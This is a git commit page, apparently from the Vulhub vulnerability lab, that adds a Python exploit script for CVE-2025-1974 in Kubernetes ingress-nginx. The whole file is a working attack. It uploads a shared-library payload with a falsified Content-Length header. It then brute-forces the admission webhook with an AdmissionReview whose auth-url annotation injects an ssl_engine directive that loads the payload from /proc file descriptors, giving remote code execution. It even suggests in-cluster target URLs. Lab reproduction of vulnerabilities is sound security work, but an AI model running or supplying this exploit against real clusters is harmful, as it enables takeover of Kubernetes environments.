first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
233
ingress-nginx/CVE-2025-1974/exploit.py
Normal file
233
ingress-nginx/CVE-2025-1974/exploit.py
Normal file
@@ -0,0 +1,233 @@
|
||||
import base64
|
||||
import time
|
||||
import argparse
|
||||
import requests
|
||||
import sys
|
||||
from urllib.parse import urlparse
|
||||
import threading
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import urllib3
|
||||
import socket
|
||||
import os
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
admission_json = """
|
||||
{
|
||||
"kind": "AdmissionReview",
|
||||
"apiVersion": "admission.k8s.io/v1",
|
||||
"request": {
|
||||
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
|
||||
"kind": {
|
||||
"group": "networking.k8s.io",
|
||||
"version": "v1",
|
||||
"kind": "Ingress"
|
||||
},
|
||||
"resource": {
|
||||
"group": "networking.k8s.io",
|
||||
"version": "v1",
|
||||
"resource": "ingresses"
|
||||
},
|
||||
"requestKind": {
|
||||
"group": "networking.k8s.io",
|
||||
"version": "v1",
|
||||
"kind": "Ingress"
|
||||
},
|
||||
"requestResource": {
|
||||
"group": "networking.k8s.io",
|
||||
"version": "v1",
|
||||
"resource": "ingresses"
|
||||
},
|
||||
"name": "minimal-ingress",
|
||||
"namespace": "default",
|
||||
"operation": "CREATE",
|
||||
"userInfo": {
|
||||
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
|
||||
},
|
||||
"object": {
|
||||
"kind": "Ingress",
|
||||
"apiVersion": "networking.k8s.io/v1",
|
||||
"metadata": {
|
||||
"name": "minimal-ingress",
|
||||
"namespace": "default",
|
||||
"creationTimestamp": null,
|
||||
"annotations": {
|
||||
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
|
||||
}
|
||||
},
|
||||
"spec": {
|
||||
"ingressClassName": "nginx",
|
||||
"rules": [
|
||||
{
|
||||
"host": "test.example.com",
|
||||
"http": {
|
||||
"paths": [
|
||||
{
|
||||
"path": "/",
|
||||
"pathType": "Prefix",
|
||||
"backend": {
|
||||
"service": {
|
||||
"name": "kubernetes",
|
||||
"port": {
|
||||
"number": 443
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
"status": {
|
||||
"loadBalancer": {}
|
||||
}
|
||||
},
|
||||
"oldObject": null,
|
||||
"dryRun": true,
|
||||
"options": {
|
||||
"kind": "CreateOptions",
|
||||
"apiVersion": "meta.k8s.io/v1"
|
||||
}
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
|
||||
def send_request(admission_url, json_data, proc, fd):
|
||||
print(f"Trying Proc: {proc}, FD: {fd}")
|
||||
path = f"proc/{proc}/fd/{fd}"
|
||||
replaced_data = json_data.replace("REPLACE", path)
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
full_url = admission_url.rstrip("/") + "/admission"
|
||||
|
||||
try:
|
||||
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
|
||||
# print(response.text) - use this to debug (check response of admission webhook)
|
||||
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
|
||||
except Exception as e:
|
||||
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
|
||||
|
||||
|
||||
def admission_brute(admission_url, max_workers=10):
|
||||
# proc = input("INPUT PROC:") - use this for manual testing
|
||||
# fd = input("INPUT FD:") - use this for manual testing
|
||||
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
|
||||
|
||||
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||
for proc in range(30, 50): # can be increased to 100
|
||||
for fd in range(3, 30): # can be increased to 100 (not recommended)
|
||||
executor.submit(send_request, admission_url, admission_json, proc, fd)
|
||||
|
||||
for proc in range(160, 180): # can be increased to 100
|
||||
for fd in range(3, 30): # can be increased to 100 (not recommended)
|
||||
executor.submit(send_request, admission_url, admission_json, proc, fd)
|
||||
|
||||
|
||||
def exploit(ingress_url, shell_file):
|
||||
if not os.path.exists(shell_file):
|
||||
print(f"Error: Shell file '{shell_file}' not found")
|
||||
sys.exit(1)
|
||||
|
||||
so = open(shell_file, 'rb').read() + b"\x00" * 8092
|
||||
|
||||
real_length = len(so)
|
||||
fake_length = real_length + 10
|
||||
url = ingress_url
|
||||
|
||||
parsed = urlparse(url)
|
||||
host = parsed.hostname
|
||||
port = parsed.port or 80
|
||||
path = parsed.path or "/"
|
||||
|
||||
try:
|
||||
sock = socket.create_connection((host, port))
|
||||
except Exception as e:
|
||||
print(f"Error connecting to {host}:{port}: {e} - host is up?")
|
||||
sys.exit(1)
|
||||
|
||||
headers = (
|
||||
f"POST {path} HTTP/1.1\r\n"
|
||||
f"Host: {host}\r\n"
|
||||
f"User-Agent: lufeisec\r\n"
|
||||
f"Content-Type: application/octet-stream\r\n"
|
||||
f"Content-Length: {fake_length}\r\n"
|
||||
f"Connection: keep-alive\r\n"
|
||||
f"\r\n"
|
||||
).encode("iso-8859-1")
|
||||
|
||||
http_payload = headers + so
|
||||
sock.sendall(http_payload)
|
||||
|
||||
response = b""
|
||||
while True:
|
||||
chunk = sock.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
response += chunk
|
||||
|
||||
print("[*] Response:")
|
||||
print(response.decode(errors="ignore"))
|
||||
|
||||
sock.close()
|
||||
|
||||
|
||||
def parse_arguments():
|
||||
# Default values for the service
|
||||
default_admission = "https://localhost:32043/networking/v1/ingresses"
|
||||
default_ingress = "http://localhost:32080/fake/addr"
|
||||
|
||||
# Suggested values when running in a kubernetes cluster
|
||||
suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
|
||||
suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
|
||||
|
||||
parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
|
||||
|
||||
parser.add_argument('-a', '--admission',
|
||||
default=default_admission,
|
||||
help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
|
||||
|
||||
parser.add_argument('-i', '--ingress',
|
||||
default=default_ingress,
|
||||
help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
|
||||
|
||||
parser.add_argument('-s', '--shell-file',
|
||||
default="shell.so",
|
||||
help='Path to the shell.so file (default: shell.so)')
|
||||
|
||||
parser.add_argument('-w', '--workers',
|
||||
type=int,
|
||||
default=10,
|
||||
help='Number of worker threads for brute forcing (default: 10)')
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
def main():
|
||||
args = parse_arguments()
|
||||
|
||||
print(f"[*] Using shell file: {args.shell_file}")
|
||||
print(f"[*] Admission URL: {args.admission}")
|
||||
print(f"[*] Ingress URL: {args.ingress}")
|
||||
print(f"[*] Workers: {args.workers}")
|
||||
print("[*] Starting exploit...")
|
||||
|
||||
# Send the library to the ingress pod and keep the connection open
|
||||
# to keep the file open via the file descriptor (FD)
|
||||
x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
|
||||
x.start()
|
||||
|
||||
# Give the exploit thread time to start and upload the shellcode
|
||||
time.sleep(2)
|
||||
|
||||
# Start the admission webhook brute force (/proc/{pid}/fd/{fd})
|
||||
admission_brute(args.admission, max_workers=args.workers)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
Reference in New Issue
Block a user